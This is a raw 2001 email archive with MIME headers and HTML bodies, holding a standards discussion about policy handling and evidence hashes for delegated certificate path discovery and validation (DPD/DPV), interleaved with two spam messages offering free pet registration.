color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>++=
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=
++++++++++<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle16><font size=3D2 =
color=3Dnavy face=3DArial><span
style=3D'font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><!=
[if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><font size=3D2 color=3Dblack face=3DTahoma><span =
style=3D'font-size:
10.0pt;font-family:Tahoma'>-----Original Message-----<br>
<b><span style=3D'font-weight:bold'>From:</span></b> [e-mail]
[mailto:[e-mail]]<br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Sunday, March 25, =
2001 2:04
AM<br>
<b><span style=3D'font-weight:bold'>To:</span></b> [e-mail]<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> Would you like =
to recieve
information on how to register your pet online for =
free?</span></font></p>

<p class=3DMsoNormal><font size=3D3 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></p>

<p><font size=3D3 color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>Hello!<o:p></o:p></span></font></p>

<p><font size=3D3 color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>Would
you like to know how to register your pet online for =
free?<o:p></o:p></span></font></p>

<p><font size=3D3 color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>If
you would like to be removed from ever receiving another email please =
type
REMOVE only in the return subject header. We respect your right to =
privacy.<o:p></o:p></span></font></p>

<p><font size=3D3 color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>If
you would like to receive more information on how to register your pet =
for free
just reply to this email message with PLEASE SEND INFO only in the =
subject
header.<o:p></o:p></span></font></p>

<p><font size=3D3 color=3Dblack face=3D"Times New Roman"><span =
style=3D'font-size:12.0pt'>Thank
You<o:p></o:p></span></font></p>

</div>

</body>

</html>

------=_NextPart_000_0004_01C0B53C.050A4C00--



Received: from ruthenium (ruthenium.btinternet.com [194.73.73.138]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA14392 for <[e-mail]>; Sun, 25 Mar 2001 06:07:39 -0800 (PST)
Received: from [62.7.8.63] (helo=vaio) by ruthenium with smtp (Exim 3.03 #83) id 14hBB7-0007Hs-00; Sun, 25 Mar 2001 15:07:33 +0100
Message-ID: <002901c0b536$2e666da0$851efea9@vaio>
Reply-To: "Liaquat Khan" <[e-mail]>
From: "Liaquat Khan" <[e-mail]>
To: "Carlin Covey" <[e-mail]>, <[e-mail]>
References: <[e-mail]>
Subject: Re: some thoughts re DPD and DPV
Date: Sun, 25 Mar 2001 15:16:26 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_0026_01C0B53E.8F59CA00"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

This is a multi-part message in MIME format.

------=_NextPart_000_0026_01C0B53E.8F59CA00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

some thoughts re DPD and DPVThe options you propose also make sense to =
me.  One question though, how does the RP know which policies have been =
pre-configured on the server? =20

Maybe, the RP application could also be pre-configured with the OIDs of =
the (validation) policies which are acceptable to it.  It could then =
uses these in its request messages.

Regards,
Liaquat


  ----- Original Message -----=20
  From: Carlin Covey=20
  To: Liaquat Khan ; [e-mail] ; Stephen Kent=20
  Sent: Saturday, March 24, 2001 10:46 PM
  Subject: RE: some thoughts re DPD and DPV


  Liaquat,

  I agree with you that it may be more appropriate for authorities other =
than the client
  to configure the path-validation policies.  The client would then be =
free to choose one
  of these already-configured policies via the appropriate OID in the =
request (or, if the
  client didn't like any of the policies, to either cause another one to =
be configured at
  the server in some out-of-band fashion, or to do the path validation =
itself).  The CA
  who issued the target certificate might be an appropriate authority to =
configure some
  policies, but the RP's own CA might be more appropriate in other =
situations.  In the
  case of a DPV/DPD server that supports a particular enterprise, a =
likely candidate
  is the human authority who manages the DPV/DPD server for the =
enterprise.
  -  Carlin Covey
     Cylink Corporation=20



    -----Original Message-----
    From: Liaquat Khan [mailto:[e-mail]]
    Sent: Saturday, March 24, 2001 4:13 AM
    To: [e-mail]; Stephen Kent
    Subject: Re: some thoughts re DPD and DPV


    I'm not against the idea of having a (validation) policy registered =
on the server, which the client refers to in its request message.  =
However, IMO would it not be more practical for the CA which issued the =
certificate to be responsible for defining this policy and registering =
it directly with its validation server?  This may remove some of the =
complexity of each client having its own policy and a protocol for =
registering this at the server.    The client would only need to refer =
to the appropriate policy, which will be based on the target certificate =
being checked.   Just some initial thoughts...

    Regards,
    Liaquat

      ----- Original Message -----=20
      From: Stephen Kent=20
      To: [e-mail]=20
      Sent: Saturday, March 24, 2001 12:09 AM
      Subject: some thoughts re DPD and DPV


      Based on presentations by and discussions with various folks =
during the IETF meeting this week, I have some suggestions for DPD/DPV =
requirements that I would like to put forth for discussion.

      1- a motivation for both DPD and PDV has been to reduce the =
bandwidth consumed by the path validation process. However, moving all =
of the parameters required for path validation between a server and a =
client is expensive in terms of bandwidth. Thus I think we should =
consider a suggestion Denis Pinkas made on the list a while ago. We =
could make ALL requests refer to a policy configured at the server, =
rather than allowing for explicit transmission of these parameters. To =
make this as flexible as the current proposals, we would have to add a =
new protocol, to allow a client to register a policy with a server, so =
that the client could later refer to that policy. We probably want a =
facility to inquire about a registered policy as well. We could proceed =
with the development of DPD/DPV protocols prior to having the policy =
registration and inquiry protocols defined, if we feel the need to, but =
I would prefer parallel development of such protocols. The bottom line =
would be much simpler syntax for the requests and responses for both DPD =
and DPV, and smaller message sizes.

      2- Along the same line of reasoning, Denis rightly noted that the =
primary purpose of DPV is to provide the yes/no/maybe response to a =
query re a target certificate. Thus, we ought to have a compact message =
format to provide this response, and a separate message for retrieval of =
the supporting data for the response, e.g., for NR purposes.  He =
proposed this split, with a hash of the "evidence" in the short =
response, to tie the two together. I like this suggestion and propose =
that we adopt this model as part of out requirements. Of course, we need =
the protocol for retrieving the evidence as well, to make the system =
complete.

      3- we still have some significant disagreement about the nature of =
the path validation controls to be used for both services, but =
especially for DPD. Related to this disagreement is the issue of whether =
an DPD should support incremental queries relative to the same target =
certificate. I don't think we have seen a concise, comprehensive =
description of the application model where such an incremental approach =
is warranted, so I solicit the proponents of this approach to provide =
such a description, so that we can resolve this issue.


      I'm off on vacation next week, see you later,


      Steve

------=_NextPart_000_0026_01C0B53E.8F59CA00
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>some thoughts re DPD and DPV</TITLE>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<STYLE type=3Dtext/css>BLOCKQUOTE {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
DL {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
UL {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
OL {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
LI {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
</STYLE>

<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>The options you propose also make sense =
to=20
me.&nbsp; One question though, how does the RP know which policies have =
been=20
pre-configured on the server?&nbsp; </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Maybe, the RP application could also be =

pre-configured with the OIDs of the (validation) policies which are =
acceptable=20
to it.&nbsp; It could&nbsp;then uses these in its request =
messages.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Liaquat</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV></FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=[e-mail] href=3D"mailto:[e-mail]">Carlin =
Covey</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=[e-mail]=20
  href=3D"mailto:[e-mail]">Liaquat Khan</A> ; <A=20
  title=[e-mail] =
href=3D"mailto:[e-mail]">[e-mail]</A>=20
  ; <A title=[e-mail] href=3D"mailto:[e-mail]">Stephen =
Kent</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Saturday, March 24, 2001 =
10:46=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> RE: some thoughts re =
DPD and=20
  DPV</DIV>
  <DIV><BR></DIV>
  <DIV><FONT size=3D2><FONT color=3D#0000ff><FONT =
face=3DArial>Liaquat<SPAN=20
  class=3D536413321-24032001>,</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
  class=3D536413321-24032001></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
  <DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
  class=3D536413321-24032001>I agree with you that it may be more =
appropriate for=20
  authorities other than the client</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
  class=3D536413321-24032001>to configure the path-validation =
policies.&nbsp; The=20
  client would then be free to choose =
one</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
  class=3D536413321-24032001>of these already-configured policies via =
the=20
  appropriate OID in the request (or, if =
the</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
  class=3D536413321-24032001>client didn't like any of the policies, to =
either=20
  cause another one to be configured =
at</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
  class=3D536413321-24032001>the server in =
</SPAN></FONT></FONT></FONT><FONT=20
  size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
  class=3D536413321-24032001>some out-of-band fashion, or to do the path =

  validation itself).&nbsp; The CA</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
  class=3D536413321-24032001>who issued the target certificate might be =
an=20
  appropriate authority to configure =
some</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
  class=3D536413321-24032001>policies, but the RP's own CA might be more =

  appropriate in other situations.&nbsp; In=20
the</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
  class=3D536413321-24032001>case of a DPV/DPD server that supports a =
particular=20
  enterprise, a likely candidate</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
  class=3D536413321-24032001>is </SPAN></FONT></FONT></FONT><FONT =
size=3D2><FONT=20
  color=3D#0000ff><FONT face=3DArial><SPAN =
class=3D536413321-24032001>the human=20
  authority </SPAN></FONT></FONT></FONT><FONT size=3D2><FONT =
color=3D#0000ff><FONT=20
  face=3DArial><SPAN class=3D536413321-24032001>who manages the DPV/DPD =
server for=20
  the enterprise.</SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
  class=3D536413321-24032001>
  <P><FONT size=3D2>-&nbsp; Carlin Covey<BR>&nbsp;&nbsp; Cylink =
Corporation=20
  </FONT></P></SPAN></FONT></FONT></FONT></DIV>
  <DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
  class=3D536413321-24032001></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
  <DIV><FONT size=3D2><FONT color=3D#0000ff><FONT face=3DArial><SPAN=20
  class=3D536413321-24032001></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
  <BLOCKQUOTE dir=3Dltr style=3D"MARGIN-RIGHT: 0px">
    <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B> Liaquat Khan=20
    [mailto:[e-mail]]<BR><B>Sent:</B> Saturday, March =
24, 2001=20
    4:13 AM<BR><B>To:</B> [e-mail]; Stephen =
Kent<BR><B>Subject:</B> Re:=20
    some thoughts re DPD and DPV<BR><BR></DIV></FONT>
    <DIV><FONT face=3DArial size=3D2>I'm not against the idea of having =
a=20
    (validation) policy registered on the server, which the client =
refers to in=20
    its request message.&nbsp; However, IMO would it not be more =
practical for=20
    the CA which issued the certificate to be responsible for defining =
this=20
    policy and registering it directly with its validation server?&nbsp; =
This=20
    may remove some of the complexity of each client having&nbsp;its=20
    own&nbsp;policy and a protocol for registering this at the =
server.&nbsp;=20
    &nbsp;&nbsp;The client would only need to refer to&nbsp;the =
appropriate=20
    policy, which will be&nbsp;based on the target certificate being=20
    checked.&nbsp;&nbsp; Just some initial thoughts...</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2>Regards,</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2>Liaquat</FONT></DIV>
    <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
    <BLOCKQUOTE dir=3Dltr=20
    style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
      <DIV style=3D"FONT: 10pt arial">----- Original Message ----- =
</DIV>
      <DIV=20
      style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
      <A title=[e-mail] href=3D"mailto:[e-mail]">Stephen =
Kent</A> </DIV>
      <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=[e-mail]=20
      href=3D"mailto:[e-mail]">[e-mail]</A> </DIV>
      <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Saturday, March 24, =
2001 12:09=20
      AM</DIV>
      <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> some thoughts re =
DPD and=20
      DPV</DIV>
      <DIV><FONT face=3DArial size=3D2></FONT><BR></DIV>
      <DIV><FONT color=3D#000000>Based on presentations by and =
discussions with=20
      various folks during the IETF meeting this week, I have some =
suggestions=20
      for DPD/DPV requirements that I would like to put forth for=20
      discussion.<BR><BR>1- a motivation for both DPD and PDV has been =
to reduce=20
      the bandwidth consumed by the path validation process. However, =
moving all=20
      of the parameters required for path validation between a server =
and a=20
      client is expensive in terms of bandwidth. Thus I think we should =
consider=20
      a suggestion Denis Pinkas made on the list a while ago. We could =
make ALL=20
      requests refer to a policy configured at the server, rather than =
allowing=20
      for explicit transmission of these parameters. To make this as =
flexible as=20
      the current proposals, we would have to add a new protocol, to =
allow a=20
      client to register a policy with a server, so that the client =
could later=20
      refer to that policy. We probably want a facility to inquire about =
a=20
      registered policy as well. We could proceed with the development =
of=20
      DPD/DPV protocols prior to having the policy registration and =
inquiry=20
      protocols defined, if we feel the need to, but I would prefer =
parallel=20
      development of such protocols. The bottom line would be much =
simpler=20
      syntax for the requests and responses for both DPD and DPV, and =
smaller=20
      message sizes.<BR><BR>2- Along the same line of reasoning, Denis =
rightly=20
      noted that the primary purpose of DPV is to provide the =
yes/no/maybe=20
      response to a query re a target certificate. Thus, we ought to =
have a=20
      compact message format to provide this response, and a separate =
message=20
      for retrieval of the supporting data for the response, e.g., for =
NR=20
      purposes.&nbsp; He proposed this split, with a hash of the =
"evidence" in=20
      the short response, to tie the two together. I like this =
suggestion and=20
      propose that we adopt this model as part of out requirements. Of =
course,=20
      we need the protocol for retrieving the evidence as well, to make =
the=20
      system complete.</FONT><BR><FONT color=3D#000000></FONT></DIV>
      <DIV><FONT color=3D#000000>3- we still have some significant =
disagreement=20
      about the nature of the path validation controls to be used for =
both=20
      services, but especially for DPD. Related to this disagreement is =
the=20
      issue of whether an DPD should support incremental queries =
relative to the=20
      same target certificate. I don't think we have seen a concise,=20
      comprehensive description of the application model where such an=20
      incremental approach is warranted, so I solicit the proponents of =
this=20
      approach to provide such a description, so that we can resolve =
this=20
      issue.</FONT></DIV>
      <DIV><BR></DIV>
      <DIV>I'm off on vacation next week, see you later,</DIV>
      <DIV><BR></DIV>
      =
<DIV>Steve</DIV></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0026_01C0B53E.8F59CA00--



Received: from sm10.texas.rr.com (sm10.texas.rr.com [24.93.35.222]) by above.proper.com (8.9.3/8.9.3) with ESMTP id AAA09820 for <[e-mail]>; Sun, 25 Mar 2001 00:08:40 -0800 (PST)
Received: from localhost (cs2773-200.houston.rr.com [24.27.73.200]) by sm10.texas.rr.com (8.12.0.Beta5/8.12.0.Beta5) with ESMTP id f2P81BjQ013083 for <[e-mail]>; Sun, 25 Mar 2001 02:06:47 -0600
Message-Id: <[e-mail]>
X-Sender: [e-mail]
From: "[e-mail]" <[e-mail]>
To: [e-mail]
Date: Sun, 25 Mar 2001 02:03:30 -0600
Subject: Would you like to recieve information on how to register your pet online for free?
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_001__18765896_7410.38"

This is a Multipart MIME message.

------=_NextPart_000_001__18765896_7410.38
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit


------=_NextPart_000_001__18765896_7410.38
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: base64

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5VbnRpdGxlZCBEb2N1bWVudDwvdGl0bGU+DQo8bWV0
YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNl
dD1pc28tODg1OS0xIj4NCjwvaGVhZD4NCg0KPGJvZHkgYmdjb2xvcj0iI0ZGRkZGRiIgdGV4
dD0iIzAwMDAwMCI+DQo8cD5IZWxsbyE8L3A+DQo8cD5Xb3VsZCB5b3UgbGlrZSB0byBrbm93
IGhvdyB0byByZWdpc3RlciB5b3VyIHBldCBvbmxpbmUgZm9yIGZyZWU/PC9wPg0KPHA+SWYg
eW91IHdvdWxkIGxpa2UgdG8gYmUgcmVtb3ZlZCBmcm9tIGV2ZXIgcmVjZWl2aW5nIGFub3Ro
ZXIgZW1haWwgcGxlYXNlIHR5cGUgDQogIFJFTU9WRSBvbmx5IGluIHRoZSByZXR1cm4gc3Vi
amVjdCBoZWFkZXIuIFdlIHJlc3BlY3QgeW91ciByaWdodCB0byBwcml2YWN5LjwvcD4NCjxw
PklmIHlvdSB3b3VsZCBsaWtlIHRvIHJlY2VpdmUgbW9yZSBpbmZvcm1hdGlvbiBvbiBob3cg
dG8gcmVnaXN0ZXIgeW91ciBwZXQgZm9yIA0KICBmcmVlIGp1c3QgcmVwbHkgdG8gdGhpcyBl
bWFpbCBtZXNzYWdlIHdpdGggUExFQVNFIFNFTkQgSU5GTyBvbmx5IGluIHRoZSBzdWJqZWN0
IA0KICBoZWFkZXIuPC9wPg0KPHA+PC9wPg0KPHA+VGhhbmsgWW91PGJyPg0KPC9wPg0KPC9i
b2R5Pg0KPC9odG1sPg0K

------=_NextPart_000_001__18765896_7410.38--



Received: from stargate.zergo.com.au (IDENT:[e-mail] [203.2.208.130]) by above.proper.com (8.9.3/8.9.3) with ESMTP id WAA23785 for <[e-mail]>; Sat, 24 Mar 2001 22:55:21 -0800 (PST)
Received: from sweepau.baltimore.com.au (sweepau.zergo.com.au [10.61.2.6]) by stargate.zergo.com.au (8.9.1/8.8.7) with ESMTP id QAA11066 for <[e-mail]>; Sun, 25 Mar 2001 16:04:47 +1000
Received: from sydneymail1.zergo.com.au (unverified) by sweepau.baltimore.com.au (Content Technologies SMTPRS 4.2.1) with ESMTP id <[e-mail]>; Sun, 25 Mar 2001 16:56:01 +1000
Received: by sydneymail1.zergo.com.au with Internet Mail Service (5.5.2650.21) id <HNY7PQRW>; Sun, 25 Mar 2001 16:53:22 +1000
Message-ID: <[e-mail]>
From: Michael Zolotarev <[e-mail]>
To: "'Stephen Kent'" <[e-mail]>, [e-mail]
Subject: RE: some thoughts re DPD and DPV
Date: Sun, 25 Mar 2001 16:53:15 +1000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative ; boundary="----_=_NextPart_001_01C0B4F8.44547A50"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0B4F8.44547A50
Content-Type: text/plain; charset="iso-8859-1"

Stephen,
 
Returning a hash of the supporting data will inevitably complicate server
design, requiring running a potentially huge evidential database. Shall we
mandate a server to support it? Or otherwise, what's going to happen if the
client asks for the hash? An error returned? Or a complete evidence (which
the client presumably won't digest)? 
 
Who would be to decide for how long the evidence should be kept by the
server? TTLs tend to be messy.
 
What happens if a client sends a certificate which happens to be
preconfigured as a trusted root by the server policy (so that the answer is
'valid')? Hash of *what* should be returned?
 
All these questions will have a number of possible answers, all reasonable
in some extent. But in the whole, I'm seriously afraid that the requirement
will dramatically complicate implementation of the server, and the overall
design of the protocol. 
 
We may consider the fact that should the evidence data be returned by a DPV,
it don't have to be signed by the DVP. Therefore, we can solve the problem
by implementing a simple client proxy located between the client and DPV
server. The proxy can remove the evidence data off the response and store
it, passing just a hash of it to the client.
 
Regards
Michael

-----Original Message-----
From: Stephen Kent [mailto:[e-mail]]
Sent: Saturday, March 24, 2001 11:10 AM
To: [e-mail]
Subject: some thoughts re DPD and DPV


Based on presentations by and discussions with various folks during the IETF
meeting this week, I have some suggestions for DPD/DPV requirements that I
would like to put forth for discussion.

1- a motivation for both DPD and PDV has been to reduce the bandwidth
consumed by the path validation process. However, moving all of the
parameters required for path validation between a server and a client is
expensive in terms of bandwidth. Thus I think we should consider a
suggestion Denis Pinkas made on the list a while ago. We could make ALL
requests refer to a policy configured at the server, rather than allowing
for explicit transmission of these parameters. To make this as flexible as
the current proposals, we would have to add a new protocol, to allow a
client to register a policy with a server, so that the client could later
refer to that policy. We probably want a facility to inquire about a
registered policy as well. We could proceed with the development of DPD/DPV
protocols prior to having the policy registration and inquiry protocols
defined, if we feel the need to, but I would prefer parallel development of
such protocols. The bottom line would be much simpler syntax for the
requests and responses for both DPD and DPV, and smaller message sizes.

2- Along the same line of reasoning, Denis rightly noted that the primary
purpose of DPV is to provide the yes/no/maybe response to a query re a
target certificate. Thus, we ought to have a compact message format to
provide this response, and a separate message for retrieval of the
supporting data for the response, e.g., for NR purposes.  He proposed this
split, with a hash of the "evidence" in the short response, to tie the two
together. I like this suggestion and propose that we adopt this model as
part of out requirements. Of course, we need the protocol for retrieving the
evidence as well, to make the system complete.

3- we still have some significant disagreement about the nature of the path
validation controls to be used for both services, but especially for DPD.
Related to this disagreement is the issue of whether an DPD should support
incremental queries relative to the same target certificate. I don't think
we have seen a concise, comprehensive description of the application model
where such an incremental approach is warranted, so I solicit the proponents
of this approach to provide such a description, so that we can resolve this
issue.

I'm off on vacation next week, see you later,

Steve


This footnote confirms that this email message has been swept by
MIMEsweeper for the presence of computer viruses.




-----------------------------------------------------------------------------------------------------------------
The information contained in this message is confidential and is intended 
for the addressee(s) only.  If you have received this message in error or 
there are any problems please notify the originator immediately.  The 
unauthorized use, disclosure, copying or alteration of this message is 
strictly forbidden. Baltimore Technologies plc will not be liable for direct, 
special, indirect or consequential damages arising from alteration of the 
contents of this message by a third party or as a result of any virus being 
passed on.

In addition, certain Marketing collateral may be added from time to time to 
promote Baltimore Technologies products, services, Global e-Security or 
appearance at trade shows and conferences.
 
This footnote confirms that this email message has been swept by 
Baltimore MIMEsweeper for Content Security threats, including
computer viruses.

------_=_NextPart_001_01C0B4F8.44547A50
Content-Type: text/html; charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>some thoughts re DPD and DPV</TITLE>

<STYLE type=text/css>BLOCKQUOTE {
	MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px
}
DL {
	MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px
}
UL {
	MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px
}
OL {
	MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px
}
LI {
	MARGIN-BOTTOM: 0px; MARGIN-TOP: 0px
}
</STYLE>

<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=014454205-21032001>Stephen,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=014454205-21032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=014454205-21032001>Returning a hash of the supporting data will inevitably 
complicate server design,&nbsp;requiring running a potentially huge evidential 
database.&nbsp;Shall we mandate a server to support it? Or otherwise, what's 
going to happen if the client asks for the hash? An error returned? Or a 
complete evidence (which the client presumably won't digest)? 
</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=014454205-21032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=014454205-21032001>Who 
would be to decide for how long the evidence should be kept by the 
server?&nbsp;TTLs tend to be messy.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=014454205-21032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=014454205-21032001>What 
happens if a client sends a certificate which happens to be preconfigured as a 
trusted root by the server policy (so that the answer is 'valid')? Hash of 
*what* should be returned?</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=014454205-21032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=014454205-21032001>All 
these questions will have a number of possible answers, all reasonable in some 
extent. But in the whole, I'm seriously afraid that the requirement will 
dramatically complicate implementation of the server, and the overall design of 
the protocol. </SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=014454205-21032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=014454205-21032001>We may 
consider the fact that should the evidence data be returned by a DPV, it don't 
have to be signed by the DVP.&nbsp;Therefore, we can solve the problem by 
implementing a simple&nbsp;client proxy&nbsp;located between the client and DPV 
server. The proxy can remove the evidence data off the response and store it, 
passing just a hash of it to the client.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=014454205-21032001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=014454205-21032001>Regards</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=014454205-21032001>Michael</SPAN></FONT></DIV>
<BLOCKQUOTE>
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Stephen Kent 
  [mailto:[e-mail]]<BR><B>Sent:</B> Saturday, March 24, 2001 11:10 
  AM<BR><B>To:</B> [e-mail]<BR><B>Subject:</B> some thoughts re DPD and 
  DPV<BR><BR></DIV></FONT>
  <DIV><FONT color=#000000>Based on presentations by and discussions with 
  various folks during the IETF meeting this week, I have some suggestions for 
  DPD/DPV requirements that I would like to put forth for discussion.<BR><BR>1- 
  a motivation for both DPD and PDV has been to reduce the bandwidth consumed by 
  the path validation process. However, moving all of the parameters required 
  for path validation between a server and a client is expensive in terms of 
  bandwidth. Thus I think we should consider a suggestion Denis Pinkas made on 
  the list a while ago. We could make ALL requests refer to a policy configured 
  at the server, rather than allowing for explicit transmission of these 
  parameters. To make this as flexible as the current proposals, we would have 
  to add a new protocol, to allow a client to register a policy with a server, 
  so that the client could later refer to that policy. We probably want a 
  facility to inquire about a registered policy as well. We could proceed with 
  the development of DPD/DPV protocols prior to having the policy registration 
  and inquiry protocols defined, if we feel the need to, but I would prefer 
  parallel development of such protocols. The bottom line would be much simpler 
  syntax for the requests and responses for both DPD and DPV, and smaller 
  message sizes.<BR><BR>2- Along the same line of reasoning, Denis rightly noted 
  that the primary purpose of DPV is to provide the yes/no/maybe response to a 
  query re a target certificate. Thus, we ought to have a compact message format 
  to provide this response, and a separate message for retrieval of the 
  supporting data for the response, e.g., for NR purposes.&nbsp; He proposed 
